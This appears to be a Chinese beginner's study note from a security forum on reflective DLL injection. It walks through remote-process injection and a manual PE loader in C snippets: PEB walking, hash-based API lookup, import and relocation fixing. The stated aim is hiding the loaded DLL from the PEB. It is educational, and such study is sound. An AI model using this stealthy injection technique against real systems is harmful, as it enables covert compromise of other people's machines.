从反射注入学习pe文件加载
前言?后记与总结
这是我写完代码后写的总结。重新梳理一下反射注入到底想干什么、以及怎么干。以及从中学到了什么。
收获?目标?反射注入是什么
首先是学习反射注入的收获,当然也可以作为学习的目标,同时也是反射注入实际做的东西。
我的理解是反射注入实际上就是手工加载模块。通过LoadLibrary加载dll会在peb中留下记录,通过手工实现加载过程,我们的dll能像正常dll那样工作,且不再peb中留下痕迹。
也就是说,通过学习反射注入,可以了解到windows系统加载一个pe文件的流程。其中涉及到了部分的peb以及大量的pe结构。
我们主要需要peb中的ldr结构,这个结构中保存了该进程已经加载了的dll。
既然我们的主要工作是手工加载pe文件,自然要对pe文件格式有一定了解。但笔记中不会多提pe文件结构,实际上只要大概了解pe文件格是是个什么,然后在写代码时多去看pe结构的定义,就可以对pe文件结构有一个更深的理解。
参考
在学习过程中参考了许多资料,最主要的就是msf的反射注入payload的源码。其他如有不懂通过百度也可以找到详细的解释。相关文章比较多,dddd,就不一一列举了。
关于这篇东西
这篇东西由我阅读源码,查资料时做的笔记发展而来。国内虽然少但也有一些优秀的反射注入的文章,看雪中也有类似文章,但阅读门槛稍微有点高。因为是由笔记发展而来,这更像是一个零基础初学者的学习笔记(实际上在开始学反射注入之前,只知道pe文件格是是什么东西,几乎完全不了解。对windows的机制也完全不了解),希望能帮助到初学者,这项技术对我学习windows有很大帮助,虽然我只是一个初学者,但这项实践使我之后对书本、资料上的内容有了更深的了解。可能会有错误,希望发现错误的dalao可以帮帮我这个初学者纠正。
前置要求
va、fa、rva这几个概念搞清楚好像就行。实际上就是对pe文件如何从文件映射到内存有一个大体的认识。我们的工作就是具体完成这个过程。可以参考下图。
pe文件的格式网上有比较多的图片,这里就不贴了。
流程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | (前置条件序号) 序号 流程内容
= = = = = = = = = = = =
注入器:
= = = = = = = = = = = =
( 0 ) 1 打开dll文件(CreateFile),获取dll长度(GetFileSize)
( 1 ) 2 分配内存(HealAlloc),读取文件(ReadFile)
( 0 ) 3 打开目标进程(OpenProcess)
( 2 , 3 ) 4 调用反射注入函数(LoadLibraryR.c>LoadRemoteLibraryR)
( 2 ) 5 获取反射加载函数的文件偏移(LoadLibraryR.c>GetReflectiveLoaderOffset)
( 2 , 3 ) 6 在目标进程中分配空间(VirtualAllocEx),写入dll(WriteProcessMemory)
( 6 ) 7 修改目标进程中的空间为可执行(VirtualProtectEx)
( 5 , 7 ) 8 创建远程线程,执行反射加载函数(CreateRemoteThread)
= = = = = = = = = = = = = = = = = = = = = = =
反射加载函数(运行在被注入进程的新建线程中):
= = = = = = = = = = = = = = = = = = = = = = =
1 获取基地址
2 获取需要的kernel32.dll及ntdll.dll的函数的va
3 分配空间作为映像空间,并复制pe头到新的位置
4 复制所有段到映像的对应位置
5 处理导入表,填写iat
6 重定位
7 跳转到ep(_DllMainCRTStartup)
8 返回entry point地址
|
注入器
主要流程
首先打开dll文件,获取长度,并在堆中分配空间读取文件。
1 2 3 | hFile = CreateFileW(dllPathname, GENERIC_READ, 0 , 0 , OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0 );
dwDllLen = GetFileSize(hFile, 0 );
lpDll = HeapAlloc(GetProcessHeap(), 0 , dwDllLen);
|
然后找到dll中ReflectiveLoader的入口点。
最后以RW申请空间,写入dll后改成RX,然后以ReflectiveLoader作为线程函数创建远程线程。
计算fa
LoadLibraryR中有个函数Rva2Offset用于获取rva对应的fa。
原理是遍历区块获取区块的section_rva和section_fa,然后比较rva和section_rva找到rva所在的section,最后计算出fa。再用fa+baseAddr得到内存中的位置。
1 2 3 4 5 6 7 8 9 10 | DWORD Rva2Fa(DWORD rva, PIMAGE_SECTION_HEADER sections, int sectionNum)
{
for ( int i = 0 ; i < sectionNum; i + + ) {
int sectionVa = sections[i].VirtualAddress;
if ((rva > = sectionVa) && ((sectionVa + sections[i].SizeOfRawData) > rva))
return rva - (sectionVa - sections[i].PointerToRawData);
}
return 0 ;
}
|
获取ReflectivelLoader位置(输出表)
通过nt头,计算出sections的fa,以及通过nt头的optionalheader获取输出表的rva。
然后遍历section找到输出表的fa,接着遍历输出表的函数名字rva表,计算出rva对应fa得到导出函数名字,与需要的导出函数做对比,确定要找的函数在函数名表中的下标。用此下标在序号表中找到序号,最后再用序号去地址表找到地址。
反射加载函数
1. 获取基址
首先获取代码的位置,然后再往前找dos头。
_ReturnAddress()返回当前调用函数的返回地址。所以在loader中调用一个函数,该函数再调用_ReturnAddress(),返回调用函数的返回地址,即loader中调用函数的下一条语句的地址。
其中 __declspec(noinline) 用于防止编译器优化该函数成内联函数,否则返回的就是loader的返回地址。
使用_ReturnAddress需要intrin.h,并使用#pragma intrinsic防止内联优化。
1 2 3 4 5 6 | __declspec(noinline) PVOID NextAddr()
{
return (PVOID)_ReturnAddress();
}
|
根据pe格式可知,dos头(IMAGE_DOS_HEADER)中有有一个e_magic标志,值是0x5A4D(MZ)。
所以向前遍历内存,直到找到MZ标志,再检查pe头的PE标志,这样就找到dos头了。
需要注意的是,检查PE标志时要检查pe头偏移是否正确,防止错误的内存访问。
1 2 3 4 5 6 7 8 9 10 11 | while (TRUE) {
if (dosHeadAddr - >e_magic = = 0x5A4D ) {
LONG e_lfanew = dosHeadAddr - >e_lfanew;
if (e_lfanew > = sizeof(IMAGE_DOS_HEADER) && e_lfanew < 1024 ) {
ntHeadAddr = (PIMAGE_NT_HEADERS)((PVOID)dosHeadAddr + (PVOID)e_lfanew);
if (ntHeadAddr - >Signature = = 0x4550 )
break ;
}
}
dosHeadAddr - - ;
}
|
这里也可以取巧,远程线程是可以传递一个参数的,对于我们这个简单的dll,imagebase实际上就是分配空间的首地址,可以作为参数传入。
2. 获取需要的内核导出函数的va
目标
接下来的步骤中需要用到一些ntdll.dll,kernel32.dll中的导出函数,所以需要先找到这些函数的va。这些系统模块都是已经加载了的,可以在peb中找到其加载的位置。
这里利用hash避免直接比较字符串。
我们需要LoadLibraryA、GetProcAddress加载导入表中的dll的对应的函数。
需要VirtualAlloc分配内存给我们把pe文件加载到其中。
需要NtFlushInstructionCache刷新指令缓存。
LDR_DATA_TABLE_ENTRY
InMemoryOrderModuleList对应的链表是一个环形双向链表,且有一个头节点(或者说哨兵节点)。InMemoryOrderModuleList的Flink指向链表的第一个节点,Blink指向链表最后一个节点。头节点的Flink是第一个节点,可以以此为跳出条件遍历该链表。
这里借用一张网图。
思路
首先从peb中找到ldr,然后遍历InMemoryOrderModuleList,通过hash(BaseName)找到kernel32.dll和ntdll.dll对应的LDR_DATA_TABLE_ENTRY结构。
找到dll对应的LDR_DATA_TABLE_ENTRY后,获取其imagebase,然后解析pe头,计算出导出表位置。同样利用hash比较字符串找到所需的导出函数,并计算出va。
实现代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | / / 找pLdrDataTableEnrty
DWORD pPeb = __readfsdword( 0x30 );
DWORD pLdr = * (DWORD * )(pPeb + 0xc );
DWORD pInMemoryOrderModuleList = pLdr + 0x14 ; / / 第一个节点的二级指针
DWORD pLdrDataTableEnrty = * (DWORD * )(pInMemoryOrderModuleList + 0 );
/ / 遍历LdrDataTableEnrty
do{
WCHAR * name = (WCHAR * ) * (DWORD * )(pLdrDataTableEnrty + 0x24 + 0x4 );
hash = YourHashFun(name); / / 使用你自己的函数计算 hash 值
if ( hash = = DLLHASH) { / / DLLHASH由你自己的函数计算得出
DWORD baseAddr = * (DWORD * )(pLdrDataTableEnrty + 0x10 );
/ / 解析pe头过程省略
for ( int i = 0 ; i < funcNum; i + + ) { / / funcNum是导出函数的个数
char * name = (char * )(baseAddr + ((DWORD * )nameRvas)[i]);
DWORD hash = YourHashFun(name);
if ( hash = = FUNCHASH) {
pFunc = (FUNC)(baseAddr + ((DWORD * )funcRvas)[((WORD * )ordRvas)[i]]);
}
}
}
} while ( * (DWORD * )(pLdrDataTableEnrty) ! = * (DWORD * )(pInMemoryOrderModuleList))
|
3. 给映像分配空间,并加载pe头
新分配大小等于sizeOfImga的内存作为映像加载的空间,然后把pe头复制到新内存里,这里我只更新了新nt头的imagebase地址。太简单就不贴代码了。
4. 加载段
遍历section_header获取fa和rva,计算出section在旧内存中的va和新内存中的va。然后复制section到新内存中的对应位置。
1 2 | oldVA = oldImageBase + sections[i].PointerToRawData;
newVA = newImageBase + sections[i].VirtualAddress;
|
5. 处理导入表
目标
找到导入表,然后遍历导入表,依次加载对应的dll,及需要的dll的导出函数,并填写对应iat。
导入表结构
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | / / winnt.h
typedef struct _IMAGE_THUNK_DATA32 {
union {
DWORD ForwarderString; / / PBYTE
DWORD Function; / / PDWORD
DWORD Ordinal;
DWORD AddressOfData; / / PIMAGE_IMPORT_BY_NAME (补充一下,这是个rva)
} u1;
} IMAGE_THUNK_DATA32;
typedef IMAGE_THUNK_DATA32 * PIMAGE_THUNK_DATA32;
typedef struct _IMAGE_IMPORT_BY_NAME {
WORD Hint;
CHAR Name[ 1 ];
} IMAGE_IMPORT_BY_NAME, * PIMAGE_IMPORT_BY_NAME;
|
和导出表不同,导入表是一个结构体数组。它不提供结构体数量,最后一个结构体仅作为结束标志,不包含导入信息,其成员Characteristics为0,这可以作为遍历的退出条件。
对于每个导入表,在文件中时OriginalFirstThunk和FirstThunk都是RVA,指向同一个IMAGE_THUNK_DATA结构体数组。
当加载到内存时,FirstThunk改为函数的VA,即iat。
文件中时,OriginalFirstThunk和FirstThunk指向的结构体数组中,每一个IMAGE_THUNK_DATA的成员u1都被解释为Ordinal,若该函数应该通过序号导入,则Ordinal的最高位会被置为1。
思路
见实现代码注释。
实现代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | PIMAGE_IMPORT_DESCRIPTOR pImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD)pNewDosHeader + pNewNtHeaders - >OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
for (; pImportDescriptor - >Characteristics; pImportDes + + ) {
/ / 加载dll
HMODULE libraryAddress = pLoadLibraryA((LPCSTR)((DWORD)pNewDosHeader + pImportDes - >Name));
if (!libraryAddress)
continue ;
/ / parsing pe structure
PIMAGE_THUNK_DATA32 pOriginalThunk = (PIMAGE_THUNK_DATA32)((DWORD)pNewDosHeader + pImportDes - >OriginalFirstThunk);
PIMAGE_THUNK_DATA32 pThunk = (PIMAGE_THUNK_DATA32)((DWORD)pNewDosHeader + pImportDes - >FirstThunk);
PIMAGE_NT_HEADERS32 pLibNtHeader = (PIMAGE_NT_HEADERS32)((DWORD)libraryAddress + ((PIMAGE_DOS_HEADER)libraryAddress) - >e_lfanew);
PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)((DWORD)libraryAddress + pLibNtHeader - >OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
PDWORD funcRvas = (PDWORD)((DWORD)libraryAddress + pExportDir - >AddressOfFunctions);
while ( * (DWORD * )pThunk) {
if (pOriginalThunk && pOriginalThunk - >u1.Ordinal & IMAGE_ORDINAL_FLAG) {
/ / import by ord
WORD ord = pOriginalThunk - >u1.Ordinal - pExportDir - >Base;
* (DWORD * )pThunk = ((DWORD)libraryAddress + funcRvas[ ord ]);
}
else {
/ / import by name (this is a rva)
* (DWORD * )pThunk = (DWORD)pGetProcAddress(libraryAddress, ((PIMAGE_IMPORT_BY_NAME)((DWORD)pNewDosHeader + pThunk - >u1.AddressOfData)) - >Name);
}
pThunk + + ;
if (pOriginalThunk)
pOriginalThunk + + ;
}
}
|
6. 重定位
目标
完成重定位过程。
重定位表结构
重定位表是一个结构体数组,DataDirectory中的重定位表项保存着第一个重定位表的rva,遍历每一个重定位表,并遍历重定位表中的表项,根据其重定位类型,执行重定位操作。
1 2 3 4 5 6 7 8 9 | typedef struct {
WORD offset : 12 ;
WORD type : 4 ;
} RELOC;
typedef struct {
DWORD VA;
DWORD size;
/ / RELOC reloc[];
} IMAGE_BASE_RELOCATION;
|
其中每一个重定位表保存着一个rva,重定位实际上就是遍历IMAGE_BASE_RELOCATION的成员reloc,然后执行*(rva+baseAddr+reloc[i].offset) += baseAddr - ImageBase
。
思路
两层循环,遍历重定位表,再遍历每个表的 RELOC reloc[]。然后根据重定位类型进行重定位。
实现代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 | / / 解析pe,并计算offset
PIMAGE_DATA_DIRECTORY pDDBaseReloc = &pNtHeaders - >OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
PIMAGE_BASE_RELOCATION pBaseRelocation;
ULONG_PTR offset = (ULONG_PTR)pNewDosHeader - (ULONG_PTR)pNtHeaders - >OptionalHeader.ImageBase;
if (pDDBaseReloc - >Size) {
DWORD size = pDDBaseReloc - >Size;
pBaseRelocation = (PIMAGE_BASE_RELOCATION)((DWORD)pNewDosHeader + pDDBaseReloc - >VirtualAddress);
/ / 遍历重定位表结构体
while (size && pBaseRelocation - >SizeOfBlock) {
DWORD va = (DWORD)pNewDosHeader + pBaseRelocation - >VirtualAddress;
DWORD num = (pBaseRelocation - >SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC); / / 计算reloc[]大小
PIMAGE_RELOC reloc = (PIMAGE_RELOC)((DWORD)pBaseRelocation + sizeof(IMAGE_BASE_RELOCATION));
/ / 遍历reloc[],根据重定位类型重定位
while (num - - ) {
DWORD type = reloc - > type ;
if ( type = = IMAGE_REL_BASED_HIGH) {
* (WORD * )(va + reloc - >offset) + = HIWORD(offset);
}
else if ( type = = IMAGE_REL_BASED_LOW) {
* (WORD * )(va + reloc - >offset) + = LOWORD(offset);
}
else if ( type = = IMAGE_REL_BASED_HIGHLOW) {
* (DWORD * )(va + reloc - >offset) + = (DWORD)offset;
}
reloc + + ;
}
size - = pBaseRelocation - >SizeOfBlock;
pBaseRelocation = (PIMAGE_BASE_RELOCATION)((DWORD)pBaseRelocation + pBaseRelocation - >SizeOfBlock);
}
}
|
7. 跳转到ep
跳转到dll的ep。实际上就是执行dll原本的_DllMainCRTStartup函数。该函数会完成一些初始化工作并转到dllMain,让我们的dllMain像正常dllmain那样运行,但又不在peb中留下dll加载的痕迹。
1 2 3 4 5 6 7 | typedef BOOL (WINAPI * DLLMAIN)(HINSTANCE, DWORD, LPVOID);
PVOID entryPoint = (PVOID)((DWORD)pNewDosHeader + pNewNtHeaders - >OptionalHeader.AddressOfEntryPoint);
pNtFlushInstructionCache((HANDLE) - 1 , NULL, 0 );
((DLLMAIN)entryPoint)((HMODULE)pNewDosHeader, DLL_PROCESS_ATTACH, lpParameter);
|
8. 返回
最后返回entrypoint。
参考
https://github.com/rapid7/ReflectiveDLLInjection
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法